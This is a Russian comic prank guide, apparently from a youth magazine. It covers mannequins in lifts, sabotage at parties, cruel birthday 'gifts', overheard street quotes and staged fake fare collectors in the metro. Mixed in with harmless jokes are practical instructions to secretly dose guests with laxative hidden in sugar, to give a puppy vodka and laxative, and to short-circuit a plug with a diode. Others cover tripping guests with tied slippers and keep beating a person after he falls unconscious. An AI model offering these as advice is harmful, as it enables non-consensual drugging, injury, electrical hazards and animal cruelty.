"Поэтому в дальнейшем мы решили действовать наверняка. Сделать так, чтобы объект нельзя было не заметить. Для этого ноги были засунуты в лифт - валенками наружу, опять же. Так мы их и оставили. Лифт закрывался и, поскольку между створок торчал объект, вновь открывался. За время нашего наблюдения к лифту подошло три человека. Все трое задумчиво посмотрели на манекен, подошли поближе, пощупали, и... решили поехать на другом лифте. Во время же ожидания оного они бросали на объект короткие взгляды, полные неуверенности в собственном душевном здоровье. Мы можем их понять - назвать представшее их глазам "нормальным" не смог бы даже Дэнечка. Вроде и понятно, что кукла - а что она здесь делает, совсем неясно. В общем, бардак. Некоторые же люди склонны усматривать в себе причину всего происходящего вокруг. Подъехавшие две машины скорой психиатрической показали нам, что таковых среди обследованных оказалось ровно две трети."
Дубль два
"Так что так. Наконец мы поняли, что всадник без туловища - это все-таки не совсем то. Некомплект, знаешь ли. Поэтому манекен был разобран, а вместо него по той же технологии был собран другой - всадник без ног. Вместо брюк была использована куртка, в качестве головы - пакет, набитый тряпками. Идея была в том, что человек задохнулся в этом пакете. Еще из Доктора Добрянского был вынут блок питания (Док, прости, мы скоро купим тебе новый, лучше прежнего - и ты снова будешь с нами!), на шкафу была найдена старая клавиатура. А все получившееся было аккуратно усажено в кресло. Кресло, соответственно, было поставлено в тот же лифт. Дверцы его плавно закрылись. Еще через полминуты мы услышали шум мотора - кто-то решил прокатиться. Волшебное путешествие началось."
Веселая компания
"К сожалению, в нашем доме очень толстые межэтажные переборки. Поэтому мы не можем точно сказать тебе, сколько людей визжало при виде содержимого лифта. Достоверно мы слышали только два женских вопля - оба с этажа выше. Всего же лифтом за время эксперимента захотели воспользоваться восемь человек. Судя по тому, что сразу за звуком открытия дверей маленького лифта всегда начинал работать мотор грузового, ехать в компании с нашим уродцев не рискнул никто. Единственная неприятность - как же мне хочется найти того хулигана, который утащил у нас блок питания! И не стыдно ведь, наверное, - люди работают в поте лица, а всякие мерзавцы прут. Да плюнули бы мы давно на этот блок - но на батарейках наш Доктор Добрянский не работает, к сожалению."
Комментарий специалиста
Трудно объяснить причины, побудившие двух внешне нормальных и здоровых молодых ребят заняться таким вот делом. Впрочем, парадоксы мышления психически больных людей вообще обычно трудно объяснить рационально. Так что работой они меня обеспечили, это точно. Да и себе начертили жизненный путь, по крайней мере, на пару лет вперед. Так что если и ты хочешь личного контакта со мной - вперед, ты можешь повторить их подвиг, флаг тебе в руки и струю аминазина навстречу. Это, конечно, если ты не догадаешься написать мне на мыло и попросить о беседе не в условиях психиатрического стационара. Так что выбор за тобой. Но все-таки я надеюсь получить от тебя письмо.
Западлостроение в гостях
В гости, в гости, ура! Какой перечный баклан не возрадуется до плеши, если его недалекий или мазохистский товарищ вдруг позовет его на ДР, сейшн, митинг, пати или просто в гости! Верно, мало какой, потому что чего интересного сидеть за столом, попивохивать чаек с сахарком (если еще дадут) или в одиночку глушить пиво, наблюдая за бряцающими хайрами колбасящихся (кстати, я до сих пор не могу понять сакральный смысл этого слова, объясните мне, а?) отморозков-знакомых, или слушать суфийскую музыку в наушниках?
Приколы в сортире
Разгребая почту дорогих читателей, я пришел к простому выводу, что половина из них поражена хроническим фрейдизьмом - их мысли постоянно крутятся вокруг отхожих мест, очков, клозетов и толчков. Вот с них и начнем.
Туалет - самая стратегически важная точка во всем доме. Рано или поздно туда наведывается каждый, поэтому такой полигон пропустить мимо наших шаловливых нельзя никак. Итак, от зольдата требуется занять эту точку первым и проделать на месте следующие нехитрые упражнения:
Сперва закручиваем на трубе кран, который питает водицей унитаз. Если собравшаяся тусовка балуется пивком или закусывает пургеном (мало ли какие извращенцы бывают!), то через два-три часа запашок из туалета будет - хоть угодников выноси. Правда, подставу могут быстро раскусить, поэтому особливо продвинутые делают так: снимают крышку сливного бачка, с внутренней ее стороны откручивают болт, удерживающий ручку, и кладут ее в карман. Если потом заснять происходящее там скрытой камерой, то получится неплохой материальчик про многочасовую медитацию на белой плите. Кстати, если вместо ручки вынуть маленький металлический штырь, удерживающий фигню с присоской, ту самую, которая регулирует уровень ашдвао в бачке, то в сортире можно будет разыгрывать классический библейский сюжет “великий потоп”.
У предыдущего способа есть один большой минус - среди гостей может оказаться сантехник. Ок, значит забегает сантехник в клозет, делает свое грязное дело, вставляет штырь, чинит бачок, тянется за бумагой... А рулон бумаги мы заблаговременно обмотаем прозрачным скотчем (желательно таким широким, которым барыги клеят картонные ящики). Проверенно: если под рукой нет ножниц, то можно насладиться бессмертным криком Тарзана прямо не выходя из дому.
Хотя и у предыдущего способа есть большой минус - среди гостей может оказаться ботан, у которых, как известно, всегда при себе блокнот для записей. Ок, значит забегает ботан в клозет, вырывает листочек и... В общем, в этот самый момент по старинным общаговским рецептам взрывается лампочка. Достаточно было предварительно погасить све, и закрутить ей под цоколь двухрублевую монетку...
Warning: вышеперечисленные приколы могут привести к бессовестной порче сантехнического оборудования, а в последнем варианте - к вылету (в лучшем случае) пробок.
Подпускаем шишимору
Вторыми по популярности в народе остаются шишиморы, которых неизменно кто-нибудь куда-нибудь подсаживает. Несмотря на кажущуюся новизну и модерновость, прикол этот стар как мир, и история шишимор уходит в невиданную глубь веков. Еще издревле русские мастера-плотники, чтобы обломать малину нерадивым хозяевам, замуровывали между стен дома дохлых кошек или вставляли в секретное место пустую склянку, которая жутко свистела по ночам, когда в нее попадал ветер...
Конечно, сменились времена, исчезли иные нравы, а шишиморы остались. Вот, например, самый простой способ: в тихих подвальных магазинчиках с иероглифами на вывесках, где торгуют хумами и клепанной кожей, надобно купить десятка два-три тоненьких палочек - тибетских благовоний. По идее подожженная такая палочка должна с полчасика коптить, издавая непередаваемый аромат тибетских лам, яков и гранулированного высокогорного чая с маслом. Однако до недавнего времени никто не пробовал проволокой скручивать эти палочки в один здоровый веник, поджигать зажигалкой и, находясь в гостях, бросать его в вентиляцию на кухне. Проверено: после десяти минут таких вот “благовоний” из вентиляции выживает очень редкий таракан и даже пьяные поднимаются из-под стола и выбегают подышать на балкон.
Продолжаем в том же духе
В этом мире не существует ни одной вечеринки без музыки. Но порой музыкальные пристрастия хозяев просто обязывают схватить в лапы шотган и разнести ихнюю музыкальную табакерку ко всем чертям. Хотя зачем, технику жалко, да и морду еще набьют... Поэтому есть лучший способ. Итак, берется маленький и незаметный диод-бусинка типа КД521 или КД522, его лапки прикручиваются к вилке магнитофонного штекера, и приготовленная ловушка оставляется на своем месте. Как только гости остограммились, и всем срочно приспичило потанцевать, бедолага-хозяин хватается за вилку, запихивает ее в розетку и... хлоп!
В лучшем случае (опять) вылетят пробки, в худшем - человек станет заикой на всю оставшуюся жизнь. Кстати, последствия этого прикола могут иметь логическое продолжение: если хозяина все-таки отпоили спрайтом, и он снова решит включить магнитофон и уже поднесет вилку к сети, нужно незаметно подкрасться сзади и со всей мочи хлопнуть в ладоши у него под ухом. Аффект гарантирован. :)
Пробки
By the way: умный человек никогда не пропустит той паузы, когда вылетают пробки. Умный человек выберется под шумок на лестничную площадку, засунет под кнопку звонка спичку (особенно хорошо, если звонок из старых, с такой аккуратной зазубренной кнопочкой) и надломит ее под самый корешок. Если у кого-нибудь в тот вечер еще хватит сил, чтобы восстановить электричество, то потом придется потратить еще не одну минуту усилий в тщетных попытках извлечь спичку из-под бесконечно брякающего звонка.
Расслабительное
По инсайд фрейдизьму эта тема перебивает все вышеперечисленное, как часто все это слабительное любят куда-нибудь подбрасывать. “Где его достать?”, “правда ли, что слабительное влияет на потенцию?”, “ну куда же его, наконец, можно запихать?” - чуть ли ни самые частые сабжекты, приходящих на наш адрес писем.
Итак, по пунктам. Во-первых, слабительное - это белесый порошок, жутко похожий на кокаин или свой стиральный эквивалент, продается он, причем, в каждой аптеке. На потенцию он не влияет никак, хотя в лошадиных дозах может вызвать раздражение желудка или привести (sic!) к отравлению. Ну и, наконец, наученный нашим журналом и собственным горьким опытом народ настолько пристально следит за своими рюмками/бутылками/стаканами, что никаких античных методов подсыпки порошка в питие совершенно не осталось. Мало того, специально для защиты от подобных покусительств на собственный желудок фирмой кука-кола инс. были придуманы специальные стаканчики с крышкой и трубочкой, где уж тут развернуться!..
Но и на нашей улице грузовик с анашой перевернется, далеко еще не все потеряно. Самым гениальным и простым на сегодняшний день способом незаметной подсыпки слабительного порошка остается его смешение с сахарком or солью в приблизительной пропорции три к одному. Когда принято раскладывать в чашки сахарок по вкусу, то мало кто сообразит, что самолично подсыпает себе белой смерти (:)) из полосатой сахарницы или солонки.
Hozaike na zametku: между тем, после ряда бездарных предложений о подсыпке слабительного в вискас или педигри и скорма получившихся биологических бомб дорогим хозяйским четвероногим, я решил провести опыт с какаду моего друга. Подобно сильверовскому попугаю, первые двадцать минут птаха беззаботно урчала и закатывала глазищи, зато потом приключилось нечто страшное. Птичка сорвалась со своего любимого места на шкафу, страшно гогоча (а вы слышали, как гогочет какаду?) стала кругами носиться по комнате и с интервалом в десять секунд проводить обширную ковровую бомбардировку местности... В общем, друга я обхожу с тех пор за пару километров.
Гости идут к нам! :(
А вот это действительно сурпрайз. После предыдущих абзацев нетрудно сообразить, как сильно можно ненавидеть гостей, а если они еще идут к нам... Короче, надо немедленно занимать круговую оборону, мой дом - мой фортресс, встретим супостатов во всеоружии.
Для начала неплохо было бы не пустить их к себе вообще. Если в подъезде стоит кодовый замок, но не с домофоном, как в цивильных домах, а с такими железными кнопочками в два ряда - это как раз то, что нужно. Итак, под покровом темноты пробираемся к кодовому замку с отверткой, откручиваем заднюю панельку, переворачиваем ее на 180 градусов и втыкаем обратно до щелчка. Важный минус: через инвертированную таким образом кодовую систему не пройдут не только гости, но и остальные жильцы дома, так что эта западлянка только для самых отчаявшихся.
Для тех, кто еще сохранил веру в человечество, есть вариант с лифтом. В тех домах, где еще сохранились старые лифты с квадратными кнопками, есть способ с их (кнопок) заклейкой цветными бумажками с собственными распечатками. Чтобы не ввергать народ в подозрение, достаточно расположить номерки с квартирами не сверху вниз, как у всех нормальных людей, а наоборот. Юмора мало, но долгие поездки от этажа к этажу обеспечены.
Наконец, одолев наши хитроумные препоны, гости вваливаются на порог, шумят, толкаются. Что должен сделать нормальный хозяин? Поздороваться со всеми за руку, дружески похлопать каждого по плечу, взять пальто, предложить тапочки... Ага, стоп! Вот тапочками и займемся. Есть такая тонкая-тонкая рыболовная леска, практически не различимая с первого взгляда, так вот, протыкаем тапочки шилом, накрепко связываем их этой леской и ставим в безопасном месте. У каждого есть условный рефлекс - сначала продеть в тапочки ноги, а потом сделать первый шаг... Зачастую он оказывается роковым. :)
Ну ладно, гости посмеялись, потопали в ванную мыть руки (а тот, кто был в тапочках, и расквашенную морду) и там неожиданно натыкаются на новое злодейство. Неплохим шагом было бы достать где-нибудь фильтр-распылитель, подкинуть внутрь пару плиток сухих красок и напялить все это добро на кран. Включается вода: вроде нормально. Моются руки: тоже пока ничего. Умывается лицо: акварельная плитка потихоньку размягчается, и за стол гости садятся уже с цветными образинами.
Что дальше? Можно поразвлекать народ избитыми анекдотами, устроить угадайку или веселые старты. Хороший рецепт последних предлагает товарищ читатель Снежный Барсъ: “Если есть токо бутылка водяры, лавэ нема, а гостей - до фига, то поступаем следующим образом: берем по три рюмки на каждого гостя, ставим их (рюмки - прим. CK) по трем углам и заставляем их (гостей - прим. CK) ползти за водкой... сначала все ползут в первый угол, затем во второй, потом в третий...” По дальнейшим заверениям до четвертого доползет только великий Спиртоустойчивый ХоЛоД, ибо “так происходит из-за неправильной циркуляции крови в организме”.
В общем, забавляй гостей как хочешь, но перед уходом подкинь им последнюю подлянку: если дело происходит зимой, то большинство народа щеголяет в вязаных шапочках ака “омоновках” (в народе именуемых попросту “пидорками”), так вот, необходимо заранее обзавестись большим количеством презервативов, во время разгара веселых стартов незаметно отлучиться и, скатав шапочки трубочкой, поочередно запихать в резинового друга. Когда, уходя из дому, харкая и поддерживая слабых товарищей под руки, вместе с пальто и сапогами гости получат аккуратные матовые колбаски-бывшие шапочки, будь покоен, дружище, больше они тебя не побеспокоят. Ни-ког-да...
Защита
Да, тут редактор говорит, что в конце каждой статьи необходимо писать про защиту - ну что ж, она тут есть. Приобрети в магазине пару женских чулок и кухонный нож подлиннее, зайди вечерком в банк, забери всю выручку, купи на эти деньги себе АКМ и перестреляй на хрен всех своих знакомых. Помни, среди них обязательно найдутся потенциальные ГОСТИ... Удачи в праведной борьбе, фрэнд!
Глупости на улице
Почему-то когда я гуляю по городу, все время до моего
слуха долетает какая-то ерунда. Последнее время я стал
ее записывать.
- Она дала мальчику за 50 рублей...
...он сделал физику.
(из диалога студентов)
- Мозги моя эрогенная зона!
(девушка своему кавалеру)
(подслушано у Госдумы)
- Как у нее получается двигаться в такой позе?
- Жизнь заставит - в любой позе двигаться придется.
- Чувствуешь себя полным идиотом.
- Главное чувствовать себя счастливым полным идиотом.
(на лекции по высшей алгебре)
- Кsex работает?
(В библиотеке, ксерокс)
(метро, мужчина женщине)
- У меня пузо... выдвижное...
- Я вот 5-ти литровый бочонок уговорил.
(школьник-шестиклассник, в стенах родной школы)
(Метро, мужчина женщине)
- Что у вас в сумках, их сдвинуть невозможно!
- Их тут поставили не для того, чтоб всякие козлы их двигали!
- С облегченьицем.
- Ну, причем здесь облегченьице
(раздраженно).
(на лекции)
(Охранники в саду при Центральном Доме Художника - колыбели современного искусства)
- Ну что, окружаем бабку?
(Винный отдел в МГУ. 2 студента и 1 студентка)
- Как, ты не хочешь пива?!!! Да что ты вообще хочешь? Водку? Вино?(студентке, возмущенно)
Если ноги от ушей, то руки из задницы.
(На стене института)
(Метро Кожуховская. Мужчина женщине. Хорошо одеты.)
- Сволочь! Прожухала все деньги!
(Высшая алгебра. Преподаватель у доски.)
- Добром не кончу!
Встану рано утром,
Выпью чашку ртути.
Все равно я сдохну
В этом институте!
(там же)
(Метро. Раздраженный голос молодого машиниста)
- Отпустите двери, б...(Фраза оборвалась)
- Граждане пассажиры, дверями играться не надо, опасно для жизни.
(Спокойный голос машиниста постарше.)
Да ты только посмотри, кто к нам ходит. Они же полные дебилы. Они даже алфавита не знают. Это я тебе говорю как человек с высшим филологическим образованием.
(разговор сотрудников одной из московских библиотек)
Я принес тебе подарок
Сегодня мы с тобой будем подарки дарить. На день рождения %). В Х-стиле. Так что заранее выясни, к какому типу человека ты идешь. А типов существует всего два (праздничная классификация народа очень проста).
Те, кто знают, чего хотят
Итак, первый тип - это перцы (тетки), которые в чем-то нуждаются. Нет, они не стоят у перехода с шапкой, им просто для полного счастья в этой жизни не хватает дискеты с тетрисом, тостера, цветных карандашей или там какой-нибудь Хонды СR-Х. Этим надо обязательно подарить то, что они хотят. В противном случае ты вряд ли нажрешься праздничного тортика и напьешься на шару пива.
Короче, выбирая, что купить первому типу, думай, как бы тебя не выпихнули за дверь и не испортили тебе лицо, когда отдашь подарок.
Те, кому главное - хорошая гулянка
Перцы, которым ни фига не надо, относятся ко второму типу. Будем условно называть их "Петрушками". Если ты решил нагрянуть к такому Петрушке на день рождения, или тебя, жестоко ошибаясь, туда пригласили, то ты должен подарить что-то прикольное или подлое, не обязательно материальное.
Маскируемся под поэта
Например, если Петрушка, к которому ты идешь, ни разу в жизни еще тебя не видел, то можешь сказать, что ты поэт, и подарить ему свой стих Пушкина или свой роман Достоевского. Если же хочешь оставить о себе более долгую память, скажи, что ты художник, и обрисуй ему туалет яркими красками в стиле граффити.
Глюк или не глюк?
Для следующего подарка понадобится хорошая видео аппаратура и... порнуха! А? Что такое порнуха? Ну... Это как у кошек, только с людьми :0). Целая веселая кассета тебе не понадобится, тебе будут нужны только отдельные откровенные кадры (типа того, что ты смотришь на omen.ru). В общем, покупаешь какой-нибудь стильный боевичок, который не стыдно подарить, и на каждые 2-3 минуты фильма вставляешь эти самые нехорошие кадры (по полсекунды). Смонтировать такое можно дома, имея видеокарту с видеоаутом, пишущий видак и Адоб Премьер. Кстати, исходник видеофильмов в таком случае лучше иметь на видео-СД.
Когда на дне рождения все выпьют достаточное количество водки, ты должен устроить просмотр своей кассеты. Можно позвать родителей, бабушек и дедушек именинника - пусть все наслаждаются... После первого "двадцать пятого" кадра наступит гробовая тишина. Каждый подумает, что таких глюков у него еще не было %). Потом все начнут подвигаться ближе к экрану, надеясь увидеть что-то подобное (особенно сильная половина человечества). Уже после сто пятого-шестого кадра у перцев вигвамами встанут брюки, а родители мгновенно захотят приготовить всем чаю. Бабушки и дедушки сидят спокойно, держа в руках выпавшие вставные челюсти. Они в своей жизни ТАКОГО никогда не видали, вот и увлеклись зрелищем. Твой подарок понравится всем!
Дзен
А можешь подарить какую-нибудь дрянь, к которой Петруха никакого отношения не имеет. Например, буддистский наборчик. Если Петруха ни разу в жизни не слышал слова "Дзен-буддизм", то ты просто обязан подарить книжонку типа "Особенности медитации при ПМС, или Дзен-секс". Вместе с книгой купи китайские колокольчики. Выбрать такие очень просто: их сладкий звон должен быть офигенно громким, чтобы соседи, живущие на 2 этажа выше, выбрасывались с балконов.
Но чтобы Петруха вообще прикололся, надо еще добавить благовоний. Самое простое - сандал (воняет ужасно). Конечно, тогда Петруха может сам с балкончика скакануть (от такого запаха), и тебя обвинят в умышленном убийстве, - но это мелочи жизни.
Тортик
Это еще не все, ты еще должен подкупить тортик (ничего только туда не засовывай! - Петруха и так приколется, когда узнает, к чему твоя доброта).
Короче, подарок надо вручать за столом, когда уже все гости собрались, чтобы все узнали, какой ты оригинал! Можешь при этом толкануть какую-нибудь речь насчет своего подарка ("с точки зрения банальной эрудиции..."), процитировать какого-нибудь буддийского мудреца: в общем, отдай все, кроме сандала. Конечно, тебе все похлопают, ты почувствуешь себя кавалером ордена святого Павла - смотри, не напейся от радости! Теперь главное: когда именинник и гости уже будут сидеть с немычащими рожами, знай - это время твоего тортика. Впихни (классное слово) в тортик вместо свечей столько палочек сандала, сколько сможешь (Петруха все равно считать уже не в состоянии), подожги их и подай на стол...
Гыыыыыыыыы - теперь пусть задувают!!! Я думаю, это все закончится дюжиной пожарных машин, которые будут вызваны бдительными соседями.
С днем рождения, милая!
К Петрушке женского пола надо идти с цветами. Ничего необычного дарить не надо - подкупи банальный кактус или подсолнух. Вдобавок к цветам подари еще какую-нибудь ерунду вроде мягкой игрушки. Например, крысу, намекая на приятную внешность подруги. Если же хочешь сделать другой намек, типа: "Подруга, ты сегодня попала", то купи слоника и натяни ему на нос презерватив... Петрушке скажи, что слоник простудился, а ты ему сделал ингаляцию.
Христос воскрес! - Воистину воскрес!
А можешь, идя на день рождения, обойтись одной булочкой с маком, свечкой и десятком яиц (их надо обязательно положить в кулечек). Вставишь свечку в булку и подожжешь. Как только Петрушка откроет дверь, сунь ему в руки булку со свечкой и скажи, что это праздничная пасха. Потом с радостным криком "Христос воскрес!" можешь поцеловать его три раза в лоб. Сразу же, чтобы Петрушка не успел понять диспозицию, начни трескать его по системному блоку кульком с яйцами (советую бить по левой стороне затылка с силой 100-120 Н), крича при этом ему на ухо, что это древнерусский христианский обычай. И пусть не дрогнет твоя рука, когда безжизненное тело Петрухи падет возле твоих ног! На самом деле он не умер - либо притворяется, либо потерял сознание - продолжай бить.
Подожди 10-15 минут, пока несчастный Петруха не начнет подниматься, поминая маму и всех святых во главе с Папой Римским, и скажи ему серьезно: "Да, нелегко живется нынче честным верующим людям, но ты мужественно выдержал испытания, посланные тебе Богом, и теперь будешь счастлив весь год". Теперь можешь садиться за праздничный стол и спокойно напиться... Твой Петруха будет тихо сидеть весь вечер за столом, держась за голову и проклиная все древнерусские праздники.
Мина замедленного действия
Если ты не член %) общества защиты животных, то можешь сделать такой подарочек. Берешь побольше вечнозеленых и бежишь на птичий рынок. Выбираешь там молодого зверька (любого - от котеночка до слоненка). К монстру два требования: у него должны быть добрые глаза, и он должен уметь бегать. В общем, покупаешь там, например, шестимесячного щеночка спаниеля. С продавцом лучше не разговаривай, а то тебе заговорят зубы, и ты уведешь с собой двадцатилетнего слепого дедушку-ротвейлера, который тебя сожрет при первом удобном случае.
Теперь покорми собаку (она, скорее всего, не жрала с рождения) и вали к Петрухе. Перед его домом достаешь из одного кармана бутылку водки, а из другого - оптом закупленный пурген. Перемешиваешь и заставляешь свою псину все это выпить. Как - это твои проблемы. Засовываешь зверя в коробку и заходишь.
Конечно, Петруха всю жизнь мечтал о таком щеночке, и, если он, глядя на убитую морду собаки, начнет спрашивать тебя, не напоил ли ты ее пол-литрой водки с пургеном - ни в чем не признавайся. Выпусти подарок на волю - пусть побегает по хате, пусть на него все налюбуются (пока он чистый :-)). Когда гости станут лихорадочно выбегать на балкон (типа покурить), можешь быть уверен, что щенок начал расслабляться... Именно в этот момент ты сможешь услышать крики: "Твою мать, такое маленькое, а вони!", или: "У меня аллергия на собачье дерьмо!". В этой суете и неразберихе ты увидишь, как твой уже не очень чистый пес, радостно визжа, начинает забираться на первую попавшуюся тетку...
Пассик для магнитофона
А может, ты хочешь изменить свою жизнь, стать нормальным человеком и не дарить больше на дни рождения эти глупые подлые подарки? Ты че, псих?! Ты, наверное, заболел или переобщался со своими родителями!
Ладно, перец, не бойся, у тебя это пройдет :0). Можешь расслабить свою башку и пойти тупо купить на Д.Р. Петрухе пассик для магнитофона. Теперь тебе нужны коробка от холодильника, от телевизора, от принтера, от обуви (чем коробок больше, тем лучше) и куча газет. Газетки ты рвешь и аккуратно равномерно запихиваешь в коробочки. Дальше ты понял: коробки пихаешь одна в другую, а внутрь самой мелкой суешь этот самый пассик...
Вот ты уже на празднике и предлагаешь имениннику открыть подарок. Он ставит стол, стул, залазит наверх; ты в последний раз любуешься на его счастливое лицо, и он погружается в темные глубины таинственной коробки. Через каждые 5 минут ноги, торчащие сверху, весело вздрагивают, и раздается веселый крик. Сначала: "Телевизор! - ОЙ, нету", потом: "Принтер! - БЛИН", попозже: "Сапожки! - УУХХ!". Что Петруха крикнет, когда найдет пассик для магнитофона, я думаю, пояснять не стоит...
А денег нет :(
Что подарить, если все деньги ушли на апгрейд компа или вчерашнюю опохмелку? Этот вопрос мучает каждого нормального кекса. Самый тяжелый случай, и здесь надо запомнить главное правило: не надо думать, как подарить хороший подарок, - надо думать, как объяснить, что у тебя плохой подарок. Объясняю на простом примере.
Это еще один подарок, за которым надо идти на птичий рынок. Там покупаешь дохлого хомячка. За деньги можешь не беспокоиться, он стоит во много раз дешевле живого аналога. Тем более, ты можешь потребовать 50% скидки, сказав, что ты чернобылец (тебе поверят), или взять хомячка в кредит с рассрочкой. Привяжи на лапку дохлому хомяку бантик - праздник все-таки. Только не привязывай бантик на шею, а то герла подумает, что это ты его задушил. Запакуй хомяка в красивую коробочку (только теперь уже не из-под холодильника) и обвяжи ленточкой.
Перед тем как постучать в дверь, мазни себе под глазами чем-нибудь слезоточивым. Можешь просто накапать себе в глазки луковым соком. Теперь главное - не упустить момент: сразу после того как тетка солжет: "Как я рада тебя видеть, заходи!", ты должен поднять голову, чтобы она увидела твое искренне расстроенное плачущее лицо, и броситься ей на шею, горько при этом рыдая. Оставаясь в таком положении, ты должен за 30-35 секунд объяснить подруге, как на тебя напала банда придурков, как они пытались отобрать хомячка и как вы с хомячком храбро бок о бок защищались. В конце своего рассказа скажи, что бедный хомячок умер в бою от внутреннего кровотечения, и раскрой коробочку.
Если ты все сделал правильно, то твоя подруга поймет и пожалеет тебя, поплачет вместе с тобой, помянет добрым словом отважное животное и, в конце концов, изнасилует тебя прямо в прихожей.
Дружеский совет
После таких злых и коварных шуток помни, что приглашать на свой день рождения пострадавшего от твоей же извращенной фантазии перца достаточно опасно! Вдруг у него в голове сгенерится еще более жестокий план мести. Тогда тебе самому придется отмывать квартиру от проделок расслабившегося животного :).
Западлостроение в метро
Да... Была статья в Х номер 1 за этот год. Классно! Но и сейчас славное студенчество способно взбодрить скучающих и озлобленных пассажиров метро не хуже, а то и лучше.
Сцена перваЯ - “Кондуктор не спеши...”
...двери закрылись, и поезд, медленно набирая ход, покатился в тоннель. Народу в вагоне было достаточно много, поэтому пройти вперед не представлялось возможным.
- Передайте, пожалуйста, на билетик.
По всем признакам деловой и ужасно занятой гражданин обернулся и увидел перед собой симпатичную девушку, протягивающую ему 2 рубля 50 копеек мелочью.
- Что?..
- Передайте на билетик, говорю!
Помедлив, он взял и попытался передать дальше высокому парню. Тот улыбнулся, подумав: “Знаем мы эти штуки! Сами так забавлялись!”, передал дальше. Толстая тетка передала деньги машинально, даже не заметив, что взяли их у нее достаточно охотно. Далее деньги исчезли из виду. Через некоторое время решительно ничего не понимали уже все: НАЗАД ВЕРНУЛСЯ БИЛЕТ! Это была плотная картонка, на которой очень качественно была изображена стилизованная буковка “М”, было написано: “Разовый билет”, “Цена 1 поездки 2 р. 50 коп”, “Сохраняйте билет до конца поездки” и что-то о штрафах и льготах. Девушка взяла билет и спрятала его в карман.
Скоро в разных местах вагона было куплено еще несколько билетов.
На другом конце вагона творилось вообще что-то из ряда вон: там стояла КОНДУКТОРША! И говорила: “Граждане пассажиры, оплачиваем проезд! Проездные билеты предъявляем!” На ней была кожаная сумка с эмблемой метрополитена, на груди - карточка с фотографией и печатью с надписью “Кондуктор”, на боку на веревке висело оргстекло, под которым красовалось “Постановление Гордумы о мерах борьбы с уклонением от оплаты услуг Московского метрополитена от ... № ...”. Оно гласило: “В целях осуществления дополнительного контроля, а также для удобства пассажиров с ... года вводится должность кондуктора-контролера. Права и обязанности кондуктора ... Права и обязанности пассажиров ...” и т.п. Все вокруг недоверчиво косились на странную девушку. Кто-то все-таки купил билет. Когда стало посвободнее, кондукторша пошла по вагону, пытаясь обилетить пассажиров. Тетка с глазами, как у какающей мышки, судорожно предъявила проездной, старикан с клюкой начал вкручивать, что он, мол, инвалид Куликовской битвы под Полтавой, и ему положен бесплатный проезд. Кондукторша честно всех предупредила, что они могут быть оштрафованы.
Дальше - больше: на следующей остановке вошел КОНТРОЛЕР. По первому требованию он предъявлял удостоверение и показывал красную повязку на руке. Вконец замороченные пассажиры предъявляли проездные. Кто-то пытался объяснить, что выкинул билет, когда прошел через турникеты. Бабка-дачница попыталась откупиться яблоками, на что контролер ответил, что предпочитает ананасы.
Тем, кто оказался безбилетным, контролер выдал квитанцию, чтобы ее оплатили в Сбербанке. Тем, кто предъявил билет, купленный у кондуктора, заменил его на какую-то бумажку. И те и другие краснели и начинали ржать.
В первой бумажке было написано: “Штраф за безбилетный проезд 100 баксов! Если ты в танке, до встречи в Сбербанке!” Во второй: “Улыбнись! Ведь ты можешь вернуть свои тугрики”.
Ну как сказочка? Теперь разбор полетов:
Все должно быть подготовлено заранее и очень тщательно (билеты, форма кондуктора, форма контролера, 2 вида бумажек). Замечание: кондукторша должна выглядеть эдакой серой мышкой, а не напяливать суперминиюбку и не наводить боевой марафет.
Все должны знать свои роли.
1) “Пассажиры” распределяются равномерно по всему вагону. Должны способствовать передаче денег “кондуктору”, т.е. подгонять нерешительных, следить, чтобы копейкам не приделали ноги.
2) “Кондуктор” обилечивает всех с беспристрастной рожей, в дискуссии не вступает, предупреждает о штрафе.
3) “Контролер” заранее отправляется на пару станций вперед, и знает, в каком по счету вагоне все приедут (хорошо, если ему кто-нибудь будет семафорить из вагона). Он делает грозный вид, пугает, а потом дает соответствующие бумажки. Все должны быть просто непробиваемы!!! Кто засмеется или улыбнется, немедленно должен быть уволен и покрыт позором.
Кто-то должен все снять на камеру, естественно, незаметно.
Все деньги вернуть!!! Лучше пошли пленку в “Городок” и потребуй денег там.
Сцена втораЯ - “Харе, Кришна! Харе, Рама!”
Епстессно, камеру берем с собой!
Реквизит: из красной материи надо сшить всем участникам труппы балахоны, как у кришнаитов, на попу налепить серп и молот, на спину - надпись, типа “Ленин - мой сенсей!”, “ВатаШива ВЛКСМ Дэз!”, “Любите партию, мать вашу!”, “Пионер - липуринга КПСС!”, “Мой гуру - ЗЮГАНОВ!”, на грудь - значки октябренка, пионера, комсомольца (чем больше, тем лучше), на шею - пионерский галстук. С собой взять красные знамена в ассортименте, бубны и пионерские барабаны.
Место действия: станция метро “Площадь Ильича”, т.к. там есть кульный барельеф с Лениным, и ментов я там не видел.
Сценарий: она бежит... Бр-р-р! О чем это я?
Вся эта пестрая толпа выгружается из вагона и направляется к Ленину. Строятся в шеренгу, по команде ВСЕ падают на колени и в такт поклонам поют гимн СССР (“Союз нерушимый... и те де”) . Затем пламенные речи, стихи типа “...потому что пионэр - юным ленинцам пример!”. Можно организовать прием “новобранца” с клятвой и присягой. Затем все дружно под “Взвейтесь кострами...” шлепают на другую сторону и уезжают в обратном направлении...
Вся процедура не должна превышать 5-10 минут. Видеозапись употребить по вкусу.
Сцена третьЯ - “Бассейн имени ТретьЯкова”
Здесь надо грамотно выбрать место. Нужна станция, на которой есть предусмотренный конструкцией, но неработающий выход или переход. Я присмотрел, было, Третьяковскую, но там ментов - хоть кушай. Правда, зато там есть два слота под переходы рядом друг с другом, и в них можно пройти.
Опять нужна туева хуча друзей и подруг, а также реквизита. Камеру взял? Тогда поехали!
Инсталляция:
- Нужны два статиста-мазохиста, которые все действие будут держать штору, закрывающую кишки перехода от посторонних глаз. Устанавливаем их по бокам перехода с длинными палками в руках (палки должны легко раскладываться, чтобы их можно было пронести в метро), между палками натягиваем веревку, на которую крепим штору.
- Перед тем как сигать с вышки в бассейн, неплохо бы его наполнить водой, поэтому первым делом ставим за шторки несколько канистр с водой.
- Сажаем “билетера”. Нужен раскладной столик, стульчик и калькулятор с печатью на бумажную ленту.
- Ставим “врача”. Это такой чел в белом халате, шапочке с красным крестиком и стетоскопом на шее.
- Запускаем рекламу. Вешаем еще одному перцу на грудь и спину плакат следующего содержания: “Открыт водный развлекательный центр “Третьяковка”. К вашим услугам два 50-метровых бассейна, детский бассейн, вышки для прыжков, спиральные спуски, сауна, бар. Стоимость одного часа - 50 рублей”. Он будет раздавать листовки того же содержания.
- За шторкой находятся перцы в плавках или бермудах и шлепанцах, их подруги в купальниках или халатиках и купальных шапочках (переодеваться за шторкой).
